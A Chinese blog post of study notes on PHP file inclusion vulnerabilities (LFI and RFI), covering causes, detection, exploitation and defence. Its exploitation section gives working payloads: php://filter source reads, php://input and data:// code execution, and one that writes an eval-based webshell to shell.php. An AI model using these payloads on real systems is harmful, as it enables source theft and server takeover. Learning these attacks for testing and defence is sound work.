文件包含漏洞

一、漏洞介绍

把重复使用的代码设成变量用于动态调用,参数用户可控。从而导致用户可以调用恶意文件,造成文件包含漏洞

二、产生原因

  1. 参数用户可控
  2. 使用文件包含函数

include()
include_once()
require()
require_once()

  1. include与require区别

require的文件出错,主程序也停止
include的文件出错,主程序继续执行

三、漏洞危害

  1. 敏感信息泄露
  2. 获取webshell
  1. 任意命令执行

四、漏洞检测

  1. 白盒:
    代码审计
  2. 黑盒:
    web漏洞扫描
    cms公开漏洞
  1. 手动检测:
    ?file=
    ?page=
    类似场景

五、漏洞分类

  1. 本地包含(LFI)

被包含文件在服务器本地。

  1. 远程包含(RFI)

被包含文件在第三方服务器。

条件:

php配置

allow_url_fopen=on

allow_url_include=on

六、漏洞利用

1. 结合文件上传漏洞

2. 本地包含

读取本地敏感文件。

3. 远程包含

使用第三方服务器,准备webshell。

4. php伪协议

分类

内置协议:http、https、ftp、file

伪协议:php://input、php://filter

 

利用条件:

php>=5.2
allow_url_fopen=on
allow_url_include=on

 

  1. file://
    ?file=file://本地文件绝对路径
  2. php://filter
    ?file=php://filter/read=convert.base64-encode/resource=./index.php
  1. php://input
    ?file=php://input <?php phpinfo(); ?>
  2. data://
    ?file=data://text/plain,<?php phpinfo(); ?>
    ?file=data://text/plain;base64,base64码
  1. 读取文件源码用法
    ?file=php://filter/read=convert.base64-encode/resource=文件
    敏感文件如 phpinfo.php 等
  2. 执行php代码用法
    ?file=php://input 内容
    <?php phpinfo(); ?>
  1. 写入一句话木马用法
    ?file=php://input <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
  2. 总结:

在这可以理解成远程文件包含漏洞,即POST过去PHP代码,即可执行。如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

七、防御与修复

包含参数尽量写死,不要动态调用。

posted @ 2021-10-27 18:57  天才小2b  阅读(157)  评论(0)    收藏  举报